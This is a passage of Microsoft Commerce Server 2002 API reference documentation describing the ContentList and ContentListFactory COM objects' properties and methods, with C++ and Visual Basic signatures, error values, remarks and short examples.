[out,retval] When getting the property, a pointer to a long used to return the row limit.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object

[C++] IContentList::get_ActiveRows

[Visual Basic] ContentList.ActiveRows


IContentList::get_Sorted, put_Sorted Property [C++]

ContentList.Sorted Property [Visual Basic]

The Sorted property is a read/write Boolean that determines whether the next enumeration of the ContentList object ActiveRows property will be returned in sorted order by score (highest to lowest).

Definition

[C++]

Get method:

HRESULT IContentList::get_Sorted(
 VARIANT_BOOL* Sorted
);

Put method:

HRESULT IContentList::put_Sorted(
 VARIANT_BOOL Sorted
);
[Visual Basic]
Property Sorted() As Boolean

Parameters

Sorted [C++]
[in] When putting the property, a VARIANT_BOOL that specifies whether to return the ActiveRows property in sorted order.
[out,retval] When getting the property, a pointer to a VARIANT_BOOL used to return the value of the Sorted property. See the Remarks section for the effects of this property.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A value of True indicates that the next enumeration of the ContentList object ActiveRows property should be returned in sorted order by score (highest to lowest). A value of FALSE indicates that it will not be sorted. The items do not actually change positions in the list — that is, the ordinal identifying an item never changes. Setting the value to True only effects the next enumeration of the ActiveRows property, subsequent enumerations will be unsorted unless the property is set to True again.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::get_Threshold, put_Threshold Property [C++]

ContentList.Threshold Property [Visual Basic]

The Threshold property is a read/write floating point number. This number contains a threshold score that items must meet or exceed to be included in the ActiveRows collection property.

Definition

[C++]

Get method:

HRESULT IContentList::get_Threshold(
 float* Threshold
);

Put method:

HRESULT IContentList::put_Threshold(
 float Threshold
);
[Visual Basic]
Property Threshold() As float

Parameters

Threshold [C++]
[in] When putting the property, a float that contains the new threshold score.
[out,retval] When getting the property, a pointer to a float used to return the threshold score.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::get_TraceMessages Property [C++]

ContentList.TraceMessages Property [Visual Basic]

The TraceMessages property is a SimpleList object that contains the list of trace strings that have accumulated for the given item in a ContentList object. The TraceMessages property is read-only; however, the returned SimpleList object is read/write.

Definition

[C++]
Get method:
HRESULT IContentList::get_TraceMessages(
 long RowNum,
 ISimpleList** TraceMessages
);
[Visual Basic]
Property TraceMessages(
 RowNum As Long
) As ISimpleList

Parameters

RowNum [C++]
[in] A long that contains the position of the row for which the trace messages will be returned. Row positions start at zero (0), not one (1).
RowNum [Visual Basic]
A Long that contains the position of the row for which the trace messages will be returned. Row positions start at zero (0), not one (1).
TraceMessages [C++]
[out,retval] The address of a pointer used to return the ISimpleList interface of the SimpleList object that contains the trace messages.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The TraceMode property acts as a global switch to control whether any score tracing is performed. If it is set to True, score tracing is performed. If it is set to False, score tracing is suppressed.

[Visual Basic] The TraceMode property acts as a global switch to control whether any score tracing is performed. If it is set to True, score tracing is performed. If it is set to False, score tracing is suppressed.

When you use score tracing, you will notice a dramatic negative effect on performance; score tracing should not be used under normal circumstances. However, it can be useful when you are attempting to troubleshoot a scoring-related issue.

The list will be empty if the TraceMode property is set to False or if no score modifications have been made to the item.

Each item in the list is a string in the following format:

<component>,<operator><number>,<description>

Where the fields of the string are defined as follows:

component
The identifier of the component that made the score change, as passed to the AdjustScore, SetScore, and Filter methods.
operator
= if the score set to an absolute value by the SetScore or Filter methods, or * if a multiplier was applied to the score by the AdjustScore method.
number
The score returned by the SetScore method after any adjustments by the Filter or AdjustScore methods.
description
The reason for the score change, as passed to the AdjustScore or SetScore methods, and set by the Filter method.

An example score tracing string is:

"Commerce.AdNod,=0.9875,Need of Delivery".

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object

[C++] IContentList::get_TraceMode, put_TraceMode

[Visual Basic] ContentList.TraceMode


IContentList::get_TraceMode, put_TraceMode Property [C++]

ContentList.TraceMode Property Property [Visual Basic]

The TraceMode property is a read/write Boolean that controls whether score tracing is enabled or suppressed.

Definition

[C++]

Get method:

HRESULT IContentList::get_TraceMode(
 VARIANT_BOOL* TraceMode
);

Put method:

HRESULT IContentList::put_TraceMode(
 VARIANT_BOOL TraceMode
);
[Visual Basic]
Property TraceMode() As Boolean

Parameters

TraceMode [C++]
[out,retval] When getting the property, a pointer to a VARIANT_BOOL used to return the current trace mode setting. A value of True enables score tracing. A value of False suppresses score tracing.
[in] When putting the property, a VARIANT_BOOL that contains a new trace mode setting. A value of True enables score tracing. A value of False suppresses score tracing.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property acts as a global switch to control whether score tracing is performed. If it is set to True, a SimpleList object of trace messages will be constructed that can be accessed through the TraceMessages property. If it is set to False, score tracing is suppressed.

When you use score tracing, you will notice a dramatic negative effect on performance; score tracing should not be used under normal circumstances. However, it can be useful when you are attempting to troubleshoot a scoring-related issue.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


ContentListFactory Object [C++]

ContentListFactory Object [Visual Basic]

Use this object to efficiently maintain lists of content items that compete with each other to be selected for display on a Web page by a Content Selection pipeline (CSP).

ProgID: | Commerce.ContentListFactory (Externally creatable)
COM Class Name: | ContentListFactory
Type Library Name: | Microsoft Commerce 2002 Cache Manager Type Library
DLL Name: | mscscache.dll
Threading Model: | Both
[C++]
COM Interface Name: | IContentListFactory
Interface ID Constant: | IID_IContentListFactory
Header File: | cacheint.h, mspu_guids.h

[C++] In C++, use the IContentListFactory and IDataContainer interfaces to access to the methods and properties of a ContentListFactory object.

Methods

[C++]
Method | Description
BuildIndex | Builds an index on the specified column.
ConstructFromRecordset | Initializes a ContentListFactory object, and creates and initializes a new ContentListSchema object, from an ADO Recordset object. The ContentListFactory object is populated with the data from the Recordset object.
CreateNewContentList | Creates a new ContentList object based on the schema in use by this ContentListFactory object. The new ContentList object has access to the shared data in the ContentListFactory object that created it.
GetData | Gets data from a specified row and column in a ContentListFactory object in a high-performance, non-scriptable manner.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | Sets data at a specified row and column in a ContentListFactory object in a high-performance, non-scriptable manner.
[Visual Basic]
Method | Description
BuildIndex | Builds an index on the specified column.
ConstructFromRecordset | Initializes a ContentListFactory object, and creates and initializes a new ContentListSchema object, from an ADO Recordset object. The ContentListFactory object is populated with the data from the Recordset object.
CreateNewContentList | Creates a new ContentList object based on the schema in use by this ContentListFactory object. The new ContentList object has access to the shared data in the ContentListFactory object that created it.
GetData | This method is not usable from Visual Basic or VBScript.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | This method is not usable from Visual Basic or VBScript.

Properties

[C++]
Property | Type | Description
AllRows | IRowCollection | The collection of all rows in the ContentListFactory object. This property is read-only.
Count | long | The number of rows in the ContentListFactory object. This property is read/write.
Fields | Fields | The Fields collection for a particular row in the ContentListFactory object. This property is read-only.
Schema | IContentListSchema | Stores a reference to the ContentListSchema object used by this ContentListFactory object. This property is read/write.
[Visual Basic]
Property | Type | Description
AllRows | IRowCollection | The collection of all rows in the ContentListFactory object. This property is read-only.
Count | long | Stores the number of rows in the ContentListFactory object. This property is read/write.
Fields | Fields | The Fields collection for a particular row in the ContentListFactory object. This property is read-only.
Schema | IContentListSchema | Stores a reference to the ContentListSchema object used by this ContentListFactory object. This property is read/write.

Remarks

Important

  • The ContentList and the ContentListFactory objects are designed to be run in-process with their clients. The GetData and SetData methods assume direct memory access for performance reasons.

Both the ContentList object and the ContentListFactory object implement a common interface, IDataContainer. Therefore they share the following methods and properties, which are functionally identical on both objects:

Properties:

  • AllRows
  • Count
  • Fields

Methods:

  • BuildIndex
  • GetData
  • Search
  • SetData


IContentListFactory Methods [C++]

ContentListFactory Methods [Visual Basic]

Methods

[C++]
Method | Description
BuildIndex | Builds an index on the specified column.
ConstructFromRecordset | Initializes a ContentListFactory object, and creates and initializes a new ContentListSchema object, from an ADO Recordset object. The ContentListFactory object is populated with the data from the Recordset object.
CreateNewContentList | Creates a new ContentList object based on the schema in use by this ContentListFactory object. The new ContentList object has access to the shared data in the ContentListFactory object that created it.
GetData | Gets data from a specified row and column in a ContentListFactory object in a high-performance, non-scriptable manner.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | Sets data at a specified row and column in a ContentListFactory object in a high-performance, non-scriptable manner.
[Visual Basic]
Method | Description
BuildIndex | Builds an index on the specified column.
ConstructFromRecordset | Initializes a ContentListFactory object, and creates and initializes a new ContentListSchema object, from an ADO Recordset object. The ContentListFactory object is populated with the data from the Recordset object.
CreateNewContentList | Creates a new ContentList object based on the schema in use by this ContentListFactory object. The new ContentList object has access to the shared data in the ContentListFactory object that created it.
GetData | This method is not usable from Visual Basic or VBScript.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | This method is not usable from Visual Basic or VBScript.


IContentListFactory::BuildIndex Method [C++]

ContentListFactory.BuildIndex Method [Visual Basic]

Use this method to build an index for a specific column in a ContentListFactory object.

Definition

[C++]
HRESULT IContentListFactory::BuildIndex(
 VARIANT vCol
);
[Visual Basic]
Sub BuildIndex(
 vCol As Variant
)

Parameters

vCol [C++]
[in] A VARIANT that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vCol [Visual Basic]
A Variant that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

S_FALSE
An index already exists on the column.

Remarks

An index can be built on any read-only, non-private column that is of type string, integer, or array of strings or integers. (CLCOL_READONLY and not CLCOL_PRIVATE). Also, only columns of type CLCOL_I2, CLCOL_I4, CLCOL_STRING, and CLCOL_VARIANTARRAY can be indexed.

If a search is conducted on a column for which no index yet exists, the index is automatically created. This means that, though you are never required to call the BuildIndex method, you may want to incur the cost of creating the index at a known time for performance sake.

This method is functionally identical to the one of the same name to be found in the ContentList object.

Example

[Visual Basic]
call myContentListFactory.BuildIndex("AdType")

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory::ConstructFromRecordset Method [C++]

ContentListFactory.ConstructFromRecordset Method [Visual Basic]

Use this method to initialize a new ContentListFactory object, and create and initialize a new ContentListSchema object, from an ADO Recordset object.

Definition

[C++]
HRESULT IContentListFactory::ConstructFromRecordset(
 _Recordset* Recordset,
 VARIANT Skip,
 IContentListSchema* Add
);
[Visual Basic]
Sub ConstructFromRecordset(
 Recordset As _Recordset,
 Skip As Variant,
 Add As ContentListSchema
)

Parameters

Recordset [C++]
[in] A pointer to an ADO Recordset object from which the ContentList object will be constructed.
Recordset [Visual Basic]
A reference to an ADO Recordset object from which the ContentList object will be constructed.
Skip [C++]
[in,optional] A VARIANT that is a SimpleList object. The SimpleList object contains the names of field(s) that exist in the Recordset object but that should not have a column in the new ContentList object.
Skip [Visual Basic]
An optional Variant that is a SimpleList object. The SimpleList object contains the names of field(s) that exist in the Recordset object but that should not have a column in the new ContentList object.
Add [C++]
[in,optional] A pointer to the IContentListSchema interface of a ContentListSchema object that contains information about additional columns or new flags for existing columns that should be accounted for when the new ContentList object is created. Refer to the Remarks section for additional information.
Add [Visual Basic]
An optional reference to a ContentListSchema object that contains information about additional columns or new flags for existing columns that should be accounted for when the new ContentList object is created. Refer to the Remarks section for additional information.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Skip and Add parameters are both optional.

Columns defined in the ContentListSchema object that do not exist in the Recordset object are added to the new schema for the ContentListFactory object. Schema columns defined in both the ContentListSchema object and in the Recordset object get their flag settings from the former object, overriding the default flag settings otherwise applied. Supplemental columns may be either shared or private. Data for any supplemental, shared columns should be initialized using the SetData method. Data for any supplemental, private columns cannot be provided until a corresponding ContentList object is created.

The default value for dwFlags for columns created from the fields of the Recordset object is CLCOL_READONLY.

The ContentListFactory object attempts to access the RecordCount property of the RecordSet to determine how many rows of data for which space should be allocated. Not all types of RecordSets support this. If the RecordCount property cannot be determined, the ContentListFactory object will grow the factory in chunks of 100 rows. For this reason, it is most efficient to pass a RecordSet for which the RecordCount property is defined.

The following table shows the Column types that are mapped from the Recordset object.

ADO Type | ContentList Type
adSmallInt, adUnsignedSmallInt | CLCOL_I2
adInteger, adUnsignedInt, adError | CLCOL_I4
adSingle | CLCOL_I4
adDouble | CLCOL_R8
adDBDate, adDBTime, adDBTimeStamp | CLCOL_DATE
adChar, adVarChar, adLongVarChar, adWChar, adVarWChar, adLongVarWChar | CLCOL_STRING
adChapter*, adDispatch | CLCOL_DISPATCH
adChapter | CLCOL_UNKNOWN
adBoolean | CLCOL_BOOL

*One level hierarchical Recordset objects are supported. The child Recordset objects are created in the ContentList object as a SimpleList of Dictionary objects.

Example

[Visual Basic]
'rsSource is an existing recordset.
'vSkip is a simple list of fields to ignore.
'vSchema is a ContentListSchema object.
myContentListFactory.ConstructFromRecordset rsSource, vSkip, vSchema

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory::CreateNewContentList Method [C++]

ContentListFactory.CreateNewContentList Method [Visual Basic]

Use this method to create a new ContentList object based on the schema established for this ContentListFactory object. The new ContentList object provides a unified interface to the private data that it stores and to the shared data stored in the ContentListFactory object (that created it).

Definition

[C++]
HRESULT IContentListFactory::CreateNewContentList(
 IContentList** NewList
);
[Visual Basic]
Function CreateNewContentList() As ContentList

Parameters

NewList [C++]
[out, retval] The address of a pointer used to return the new ContentList object.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to the new ContentList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The new ContentList object will be based on the established schema for this ContentListFactory object. Storage for columns marked as CLCOL_PRIVATE in the schema is allocated in the ContentList object. The ContentList object maintains a pointer back to the factory that created it, which is where the storage for "shared" columns is maintained.

A ContentList object cannot exist independently of a ContentListFactory object.

The only prerequisite for calling this method is that a schema has been established. This can be accomplished by setting the Schema property or by calling the ConstructFromRecordset method.

Example

[Visual Basic]
set oMyContentList = myContentListFactory.CreateNewContentList()

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory::GetData Method [C++]

ContentListFactory.GetData Method [Visual Basic]

[C++] Use this method to read data from a specified row and column in a ContentListFactory object.

[C++] This is one of the two ContentListFactory methods that do not support a scriptable interface. The other method is SetData. They are only intended for use in C++.

[Visual Basic] Due to performance considerations, this method is not intended for use from Visual Basic or VBScript.

[C++]

Definition

HRESULT IContentListFactory::GetData(
 long iRow,
 long iCol,
 BYTE* pData
);
[C++]

Parameters

iRow
[in] A long that contains the position of the row from which the data should be read. Row positions are counted from 0, not 1.
iCol
[in] A long that contains the position of the column within the specified row from which the data should be read. Column positions are counted from 0, not 1.
pData
[out] A pointer to where the data should be written.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[C++]

Error Values

This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[C++]

Remarks

The GetData method does not do any type checking. The memory pointed to by the pData parameter must be of sufficient size to receive the value being read. If the allotted memory is too small, memory corruption occurs.

The ContentListFactory object stores some types of data by value and other types of data by reference. Therefore, how you use the GetData and SetData methods depends on the data type.

When you pass a pointer to a String to the SetData method, it stores the String in the ContentListFactory object, not the pointer. The GetData method returns a pointer to the String in the ContentListFactory object, but not the String. Do not hold a reference to the String in the ContentListFactory object beyond the lifetime of the object, as it will be invalid after the object is destroyed. The ContentListFactory object only stores wide character Unicode strings. ANSI strings are not supported.

When you pass an interface pointer to an object to the SetData method, it calls the AddRef method on the interface referenced by the pointer and stores the pointer in the ContentListFactory object. The GetData method returns this pointer and calls the AddRef method on the interface referenced by it. The caller must release the pointer returned by the GetData method.

When you pass a pointer to a SafeArray to the SetData method, it locks the SafeArray and stores a reference to it in the ContentListFactory object. The GetData method returns a reference to the locked array. The caller should not unlock the array as this could invalidate the reference stored in the ContentListFactory object. It is safe to store the array in a Variant of type VT_ARRAY or VT_VARIANT, as a call to the VariantClear method will not release the SafeArray because it is locked. When the ContentListFactory object is destroyed, the SafeArray will be unlocked and the SafeArrayDestroy method will be called. Since SafeArrays have a lock count similar to reference counting the array data will be released only if the lock count is zero.

The GetData method reads all other supported data types by value.

This method is functionally identical to the one of the same name in the ContentList object.

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory::Search Method [C++]

ContentListFactory.Search Method [Visual Basic]

Use this method to create a RowCollection object that allows access to each item in the ContentListFactory object that matches the specified criterion.

Definition

[C++]
HRESULT IContentListFactory::Search(
 VARIANT vCol,
 VARIANT vSearchCriteria,
 IRowCollection** ppIRowCollection
);
[Visual Basic]
Function Search(
 vCol As Variant,
 vSearchCriteria As Variant
) As IRowCollection

Parameters

vCol [C++]
[in] A VARIANT that identifies the column to search. The column is identified by either a number representing a column position (starting at 0) or a string containing a column name.
vCol [Visual Basic]
A Variant that identifies the column to search. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vSearchCriteria [C++]
[in] A VARIANT that contains the filter criterion. The criterion is usually a BSTR, an array of BSTRs, or an Integer. An attempt will be made to coerce other types to the type of the column being searched.
vSearchCriteria [Visual Basic]
A Variant that contains the filter criterion. The criterion is usually a String, an array of Strings, or an Integer. An attempt will be made to coerce other types to the type of the column being searched.
ppIRowCollection [C++]
[out,retval] A pointer to an address to receive an IRowCollection interface pointer for a new RowCollection object that allows access to the rows that match the search criteria.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a new RowCollection object that contains one row for each matching item.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

S_FALSE
No rows in the ContentListFactory object matched the filter criteria. As a result, the returned RowCollection is empty.

Remarks

Columns must be shared (not private) and read-only in order to be indexed and searched. Columns must also be of type string, integer (long or short), or variant array to be searchable. The search criteria may be any variant type that can be coerced to the type of the column being searched.

When the search criteria is an array of variants, the set of rows returned contains all rows that match any of the search criteria array elements. It is a union of the matches.

This method is functionally identical to the one of the same name to be found in the ContentList object.

Example

[Visual Basic]
set oMyRowCollection = myDataContainer.Search("AdType", "CarAds")

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory::SetData Method [C++]

ContentListFactory.SetData Method [Visual Basic]

[C++] Use this method to write data to a specified row and column in a ContentListFactory object.

[C++] This is one of the two ContentListFactory methods that do not support a scriptable interface. The other method is GetData. They are only intended for use in C++.

[Visual Basic] Due to performance considerations, this method is not intended for use from Visual Basic or VBScript.

[C++]

Definition

HRESULT IContentListFactory::SetData(
 long iRow,
 long iCol,
 BYTE* pData
);
[C++]

Parameters

iRow [C++]
[in] A long that contains the position of the row into which the data should be written. Row positions are counted from 0, not 1.
iCol [C++]
[in] A long that contains the position of the column within the specified row into which the data should be written. Column positions are counted from 0, not 1.
pData [C++]
[in] A pointer to the data to write into the ContentListFactory object.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[C++]

Error Values

This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[C++]

Remarks

The SetData method does not do type checking for the data being written. The data pointed to by the pData parameter must be of the correct type for the column. Type (and especially size) mismatches will not result in memory scribbles (which is possible with the GetData method), but some of the data may not be written into the ContentListFactory object.

The ContentListFactory object stores some types of data by value and other types of data by reference. Therefore, how you use the GetData and SetData methods depends on the data type.

When you pass a pointer to a String to the SetData method, it stores the String in the ContentListFactory object, not the pointer. The GetData method returns a pointer to the String in the ContentListFactory object, but not the String. Do not hold a reference to the String in the ContentListFactory object beyond the lifetime of the object, as it will be invalid after the object is destroyed. The ContentListFactory object only stores wide character Unicode strings. ANSI strings are not supported.

When you pass an interface pointer to an object to the SetData method, it calls the AddRef method on the interface referenced by the pointer and stores the pointer in the ContentListFactory object. The GetData method returns this pointer and calls the AddRef method on the interface referenced by it. The caller must release the pointer returned by the GetData method.

When you pass a pointer to a SafeArray to the SetData method, it locks the SafeArray and stores a reference to it in the ContentListFactory object. The GetData method returns a reference to the locked array. The caller should not unlock the array as this could invalidate the reference stored in the ContentListFactory object. It is safe to store the array in a Variant of type VT_ARRAY or VT_VARIANT, as a call to the VariantClear method will not release the SafeArray because it is locked. When the ContentListFactory object is destroyed, the SafeArray will be unlocked and the SafeArrayDestroy method will be called. Since SafeArrays have a lock count similar to reference counting the array data will be released only if the lock count is zero.

The SetData method stores all other supported data types by value.

Objects must be "both threaded" and must aggregate the Free Threaded Marshaller in order to be stored in a ContentListFactory object. If you ignore this restriction, marshalling errors may occur.

This method is functionally identical to the one of the same name to be found in the ContentList object.

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory Properties [C++]

ContentListFactory Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
AllRows | IRowCollection | The collection of all rows in the ContentListFactory object. This property is read-only.
Count | long | The number of rows in the ContentListFactory object. This property is read/write.
Fields | Fields | The Fields collection for a particular row in the ContentListFactory object. This property is read-only.
Schema | IContentListSchema | Stores a reference to the ContentListSchema object used by this ContentListFactory object. This property is read/write.
[Visual Basic]
Property | Type | Description
AllRows | IRowCollection | The collection of all rows in the ContentListFactory object. This property is read-only.
Count | long | Stores the number of rows in the ContentListFactory object. This property is read/write.
Fields | Fields | The Fields collection for a particular row in the ContentListFactory object. This property is read-only.
Schema | IContentListSchema | Stores a reference to the ContentListSchema object used by this ContentListFactory object. This property is read/write.


IContentListFactory::get_AllRows Property [C++]

ContentListFactory.AllRows Property [Visual Basic]

The AllRows property returns a new RowCollection object that allows access to the items in the ContentListFactory object. The AllRows property is read-only; however, the RowCollection object is read/write in that changes made using this object are reflected in the ContentListFactory object.

Definition

[C++]
Get method:
HRESULT IContentListFactory::get_AllRows(
 IRowCollection** AllRows
);
[Visual Basic]
Property AllRows() As IRowCollection

Parameters

AllRows [C++]
[out,retval] The address of a pointer used to return the IRowCollection interface of a RowCollection object that contains all of the items in this ContentListFactory object.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property is functionally identical to the one of the same name in the ContentList object.

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IContentListFactory::get_Count, put_Count Property [C++]

ContentListFactory.Count Property [Visual Basic]

The Count property is a read/write number that gets or sets the number of content items in a ContentListFactory object.

Definition

[C++]

Get method:

HRESULT IContentListFactory::get_Count(
 long* Count
);

Put method:

HRESULT IContentListFactory::put_Count(
 long Count
);
[Visual Basic]
Property Count() As Long

Parameters

Count [C++]
[in] When putting the property, a long that contains the item count.
[out,retval] When getting the property, a pointer to a long used to return the item count.

[Visual Basic] None.

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Count property cannot be changed once ContentList objects have been created by the ContentListFactory object. Also, the Count property cannot be set to a smaller number than its current setting.

This property is functionally identical to the one of the same name to be found in the ContentList object.

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory::get_Fields Property [C++]

ContentListFactory.Fields Property [Visual Basic]

The Fields property creates a new Fields object that allows access to the fields for a specified content item. The Fields property is read-only; however, the Fields object is read/write in that changes made using this object are reflected in the ContentListFactory object.

Definition

[C++]
Get method:
HRESULT IContentListFactory::get_Fields(
 long RowNum,
 Fields** Fields
);
[Visual Basic]
Property Fields(
 RowNum As Long
) As Fields

Parameters

RowNum [C++]
[in] A long that contains the position of the item in the ContentListFactory object for which a Fields object will be returned. Positions are counted from 0, not from 1.
RowNum [Visual Basic]
A Long that contains the position of the item in the ContentListFactory object for which a Fields object will be returned. Positions are counted from 0, not from 1.
Fields [C++]
[out,retval] The address of a pointer used to return a Fields object for the specified row in the ContentListFactory object.
[C++]

Return Values

